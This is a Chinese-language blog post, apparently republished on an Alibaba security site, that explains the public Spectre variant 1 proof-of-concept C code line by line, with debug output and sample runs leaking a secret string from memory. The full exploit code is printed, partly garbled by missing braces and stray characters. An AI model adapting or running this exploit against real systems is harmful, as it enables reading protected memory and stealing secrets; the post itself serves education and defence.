【技术分享】Spectre 攻击详解

2018年02月05日 10:13 482

在本文中,我们将详细介绍Spectre实现攻击的细节,该攻击针对的是AMD、ARM和Intel CPU上发现的漏洞。


源代码

源代码如下:

#include <stdio.h> 

#include <stdint.h> 

#include <string.h> 

#ifdef _MSC_VER 

#include <intrin.h> /* for rdtscp and clflush */ 

#pragma optimize("gt", on) 

#else 

#include <x86intrin.h> /* for rdtscp and clflush */ 

#endif 

/* sscanf_s only works in MSVC. sscanf should work with other compilers*/ 

#ifndef _MSC_VER 

#define sscanf_s sscanf 

#endif 

/******************************************************************** 

Victim code. 

********************************************************************/ 

unsigned int array1_size = 16; 

uint8_t unused1[64]; 

uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16}; 

uint8_t unused2[64]; 

uint8_t array2[256 * 512]; 

char* secret = "The Magic Words are Squeamish Ossifrage."; 

uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */ 

void victim_function(size_t x) 

if (x < array1_size) 

temp &= array2[array1[x] * 512]; 

/******************************************************************** 

Analysis code ********************************************************************

/ #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ 

/* Report best guess in value[0] and runner-up in value[1] */ 

void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) 

static int results[256]; 

int tries, i, j, k, mix_i; unsigned int junk = 0; 

size_t training_x, x; 

register uint64_t time1, time2; 

volatile uint8_t* addr; 

for (i = 0; i < 256; i++) 

results[i] = 0; 

for (tries = 999; tries > 0; tries--) 

/* Flush array2[256*(0..255)] from cache */ 

for (i = 0; i < 256; i++) 

_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ 

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ 

training_x = tries % array1_size; 

for (j = 29; j >= 0; j--) 

{

_mm_clflush(&array1_size); 

for (volatile int z = 0; z < 100; z++) 

} /* Delay (can also mfence) */ 

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ 

/* Avoid jumps in case those tip off the branch predictor */ 

x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ 

x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */ 

x = training_x ^ (x & (malicious_x ^ training_x)); 

/* Call the victim! */ 

victim_function(x); 

/* Time reads. Order is lightly mixed up to prevent stride prediction */ 

for (i = 0; i < 256; i++) 

mix_i = ((i * 167) + 13) & 255; 

addr = &array2[mix_i * 512]; 

time1 = __rdtscp(&junk); /* READ TIMER */ 

junk = *addr; /* MEMORY ACCESS TO TIME */ 

time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 

if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) 

results[mix_i]++; /* cache hit - add +1 to score for this value */ 

/* Locate highest & second-highest results results tallies in j/k */ 

j = k = -1; 

for (i = 0; i < 256; i++) 

if (j < 0 || results[i] >= results[j]) 

k = j; 

j = i; 

else if (k < 0 || results[i] >= results[k]) 

k = i; 

}

if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 

break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ 

results[0] ^= junk; /* use junk so code above won't get optimized out*/ 

value[0] = (uint8_t)j; 

score[0] = results[j]; 

value[1] = (uint8_t)k; 

score[1] = results[k]; 

int main(int argc, const char* * argv) 

printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret)); 

size_t malicious_x = (size_t)(secret - (char *)array1); /* 

default for malicious_x */ int score[2], len = strlen(secret); 

uint8_t value[2]; 

for (size_t i = 0; i < sizeof(array2); i++) 

array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ 

if (argc == 3) 

sscanf_s(argv[1], "%p", (void * *)(&malicious_x)); 

malicious_x -= (size_t)array1; /* Convert input value into a pointer */ 

sscanf_s(argv[2], "%d", &len); 

printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len); 

printf("Reading %d bytes:\n", len); 

while (--len >= 0) { 

printf("Reading at malicious_x = %p... ", (void *)malicious_x); 

readMemoryByte(malicious_x++, value, score); 

printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); 

printf("0x%02X='%c' score=%d ", value[0],

        (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); 

if (score[1] > 0) 

printf("(second best: 0x%02X='%c' score=%d)", value[1],

    (value[1] > 31 && value[1] < 127 ? value[1] : '?'),

    score[1]); printf("\n"); 

#ifdef _MSC_VER 

printf("Press ENTER to exit\n"); 

getchar();/* Pause Windows console */ 

#endif 

return (0); 

}

第5行和第8行包含了用于Flush+Reload 缓存攻击的rdtscp和clflush 的适当文件。注意,这些指令在所有的处理器上都是不可用的。例如,rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用。rdtsc更常见,但不是序列化,这意味着CPU可能会对其重新排序,因此对于定时攻击,会将rdtsc与诸如cpuid之类的序列化指令一起使用。如果没有可用的rdtscp或者 rdtsc,还有其他的选择(我计划在后续的文章中详细说明在ARM上如何解决这个问题)。 

a#ifdef _MSC_VER 

#include  /* for rdtscp and clflush */ 

#pragma optimize("gt", on) 

#else 

#include  /* for rdtscp and clflush */ 

#endif

在第21行,rray1代表了受害者和攻击者之间的共享内存空间。我们不关心该区域里面是什么。其代码大小是160字节,但这只是一个例子:它的另一种代码大小可以正常工作。

array1被两个未使用的数组包围:这些数组对于确保我们命中不同的缓存路径是很有用的。在许多处理器(如,Intel i3、i5、i7、ARM Cortex A53等)L1缓存每一路径有64个字节。

uint8_t unused1[64]; 

uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16}; 

uint8_t unused2[64];

在第25行,我们有保密信息。该保密信息只有受害者知道,也正是攻击者想要恢复的东西。

在PoC中,受害者和攻击者共享相同的进程。这只是为了让代码更简单。在现实中,受害者和攻击者共享一个内存空间,攻击者会具有调用victim_function()(第29-35行)的能力。并且我想知道为什么密码原文是“The Magic Words are Squeamish Ossifrage”。这是很奇怪的句子!在本例中,Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。

然后,在第27-35行,有易受攻击的受害者函数。我对第27行的理解是,它是一个调整,以确保编译器不会在编译时删除victim_function() ,victim_function()本身在 Spectre paper的第4部分中得到了很好的解释。有了超过array1_size x的值,容易受到Spectre攻击的处理器可以进行如下操作:

1. 读取array1_size。这一操作会导致缓存丢失。 

2. 尽管处理器正抓取array1_size——由于存在缓存缺失,array1_size是“长”的——但是分支预测器假设它是正确的(不正确的猜测)。 

3. 推测读取array1[x]。该读取非常快速,因为它是缓存命中。 

4. 读取array2[array1[x]* 512]。读取时间很长(缓存缺失)。 

5. 虽然步骤4中的读取正在等待,但是步骤1的值已经到达。处理器检测到其猜测不正确,并重新调整了自身状态。

uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */ 

void victim_function(size_t x) 

{

     if (x < array1_size)

     {

         temp &= array2[array1[x] * 512];

     } 

}

不知你是否注意到了,文章提到的 k*256?在这里k指的是array1[x](也就是array1[x] * 256),然而在代码array1[x] * 512中也含有array1[x]。乘法因子需要与缓存线路的大小相等。大概在实现的时候,作者意识到对于大多数Intel处理器来说,每一个缓存线路大小都是64字节,正如我们之前所说。即64 * 8 = 512。这个值依赖于处理器。从第43行开始,我们有了readMemoryByte() 函数。该函数将尝试猜测位于给定地址的值。对于所有可能的字节值(有256个),该函数将测试使用Flush+Reload缓存攻击访问该值所需的时间。各种时序存储在results表中,但是函数只返回了两个最佳猜测。

第52-53行仅仅初始化结果表。这里没有缓存攻击。

for (i = 0; i < 256; i++) 

results[i] = 0;

缓存攻击是在第54行和第89行之间实现的。首先,从一个纯净的状态开始,我们删除了整个array2表。该表是与攻击者共享的,它需要能够存储256个不同的缓存线路。而缓存线路的大小是512位。

for (i = 0; i < 256; i++)

    _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

接下来,我们的想法是调用victim_function() 几次(参见第62-77行)。在序列中,它将:

_mm_clflush(&array1_size);

首先,刷新缓存线路,接下来,根据我的理解,下面的代码行是用来确保刷新完成的,处理器不会重新排序。该评论提到,mfence可能会被发布,mfence是Intel和AMD的系列化指令。我相信一个cpuida也能工作。

for (volatile int z = 0; z < 100; z++) 

} /* Delay (can also mfence) */

第三,计算x,这些线路很难理解。我相信作者们本可以找到一些更加可读的东西;)但是我们会看到这是一个很好的调整。

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ 

/* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; 

/* Set 

x=FFF.FF0000 if j%6==0, else x=0 */ 

x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */ 

x = training_x ^ (x & (malicious_x ^ training_x));

第四,调用victim_function()

与其试图理解步骤3中的代码行,还不如更容易地使用aprintf编辑这些代码,并观察程序运行时的值。这就是我们得到的: 

... 

j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224 

j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7 

j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224 

...

这些行将生成5次小写的x,这将导致victim_function(x)接受分支。这五次是用来训练分支预测器假设分支会被取走。由于之前的5次训练,一个易受攻击的过程将会在第6次迭代中执行if分支。

在一个错误的分支猜测调用了victim_function() 之后,我们会看到在缓存中访问给定的字节值需要多长时间。这才是缓存攻击的核心(第79-89行)。

/* Time reads. Order is lightly mixed up to prevent stride prediction */ 

for (i = 0; i < 256; i++) 

{

     mix_i = ((i * 167) + 13) & 255;

     addr = &array2[mix_i * 512];

     time1 = __rdtscp(&junk); /* READ TIMER */

     junk = *addr; /* MEMORY ACCESS TO TIME */

     time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

     if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])

         results[mix_i]++; /* cache hit - add +1 to score for this value */ }

正如注释所言,我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。这是第82行处理的。

然后,在第83行,addr = &array2[mix_i * 512] 计算缓存线路的地址来进行检查。在下面84-86行中,我们测定访问该缓存线路中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。如果我们有一个缓存命中,就意味着在之前对victim_function()的调用过程中,缓存线路是新近被访问的。请记住,之前对victim_function()的调用是用一个大写的x来运行的,目的是误导处理器。在执行过程中,处理器会推测性地(并错误地)访问array1[x],其x比数组的大小还大得多,因此导致对内存的读取远远超过了数组。x的选择(或猜测)将会在密文写入的区域被命中。例如,假设处理器读取密文中Magic的字母M。因此,array1[x]='M',从而在第33行,处理器访问array2['M'*512]。

提醒一下,这是victim_function()中的第33行:

temp &= array2[array1[x] * 512];

当处理器访问array2['M'*512] 时,它缓存的行号是(byte)'M'。所以,如果你跟着我到了这一步,你就会明白,这一操作揭示了密文中那个特定字符的值,就像mix_i = array1[x] = 'M'。因此,我们将记录下来results['M']是一个很好的缓存命中:

if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) 

results[mix_i]++; /* cache hit - add +1 to score for this value */

对CACHE_HIT_THRESHOLD的测试非常清楚。在其之下是一个缓存命中,之上就不是。对于在研究的时间里,通过各种各样的测试来获得的CACHE_HIT_THRESHOLD的值,我持怀疑态度。为什么测试mix_i != array1[tries % array1_size]?我不确定这一点,但我怀疑它排除了这个索引,因为该索引通常会提供更多的缓存命中,因为尝试是当前的索引值。

readMemoryByte的其余部分并不是很有趣:它只选择它所发现的两个字节值,该选择是通过惊人的缓存命中实现的。

我们现在跳到了main()开头的118行:

size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */

这里发生了什么?在进程内存的布局中,我们有array1,然后是一串字节,然后是密文。因此,当我们读取array1超出其在victim_function()的限制时,如果我们想在密文中读取字节,我们需要跳过一个给定的字节偏移量。要计算偏移量,我们知道 array1 + offset = secret。所以, array1 + offset = secret:)

注意,如果我们想运行Spectre代码来读取内存的其他部分,这是完全有可能的。见第130 – 124行:

if (argc == 3) 

{

         sscanf_s(argv[1], "%p", (void * *)(&malicious_x));

         malicious_x -= (size_t)array1; /* Convert input value into a pointer */

         sscanf_s(argv[2], "%d", &len);

         printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len); 

}

第一个参数是要读取的地址。第二个参数是我们想要读取的字节数。在下面的示例中,我们提供了密文的地址,只读取了10个字节。

$ ./spectre.out 0x400d08 10 

Putting 'The Magic Words are Squeamish Ossifrage.' in memory 

Reading 10 bytes: 

Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54='T' score=2 

Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68='h' score=2 

Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65='e' score=2 

Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=' ' score=2 

Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D='M' score=2 

Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61='a' score=2 

Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67='g' score=2 

Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69='i' score=2 

Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63='c' score=2 

Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=' ' score=2

我们也可以试着读取比密文长度更多的字节。例如,下面我们读取100个字节,并识别内存中的Putting %s字符串,等等。

$ ./spectre.out 0x400d08 100 

... 

Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E='.' score=2 

Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00='?' score=2 

Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50='P' score=2 

Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75='u' score=2 

Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74='t' score=2 

Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74='t' score=2 

Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69='i' score=2 

Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E='n' score=2 

Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67='g' score=2 

Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=' ' score=2 

Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=''' score=2 

Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25='%' score=2 

Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73='s' score=2 

Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=''' score=2 

Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=' ' score=2 

Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69='i' score=2 

Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E='n' score=2 

Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=' ' score=2 

Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D='m' score=2 

Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65='e' score=2 

Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D='m' score=2 

Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F='o' score=2 

Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72='r' score=2 

Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79='y' score=2 

Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A='?' score=2 

Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00='?' score=2

第133-145行尝试读取内存中一个给定偏移量(malicious_x)中的len字节,使用Spectre攻击,该攻击是在readMemoryByte()中实现的。

while (--len >= 0)

     {

         printf("Reading at malicious_x = %p... ", (void *)malicious_x);

         readMemoryByte(malicious_x++, value, score); 

...

回想一下,我们为readMemoryByte()返回最多的两个值,记录了两个以上的缓存命中。就我个人而言,在我尝试过的所有案例中,只有一个值或一个都没有。如果没有,程序就会显示“Unclear”这个词。如果有一个或两个值,程序将显示成功并输出值(参见第137-144行)。

希望你会感到跟随本文学习代码的愉快。

本文转载自嘶吼


阿里聚安全

阿里聚安全(http://jaq.alibaba.com)由阿里巴巴安全部出品,面向企业和开发者提供互联网业务安全解决方案,全面覆盖移动安全、数据风控、内容安全、实人认证等维度,并在业界率先提出“以业务为中心的安全”,赋能生态,与行业共享阿里巴巴集团多年沉淀的专业安全能力。

标签

  • 短信
  • 积分兑换
  • 仿冒应用
  • 漏洞分析
  • 漏洞预警
  • 年度报告
  • 安全报告
  • 病毒分析
  • 阿里聚安全
应用更安全,用户更放心! 立即登录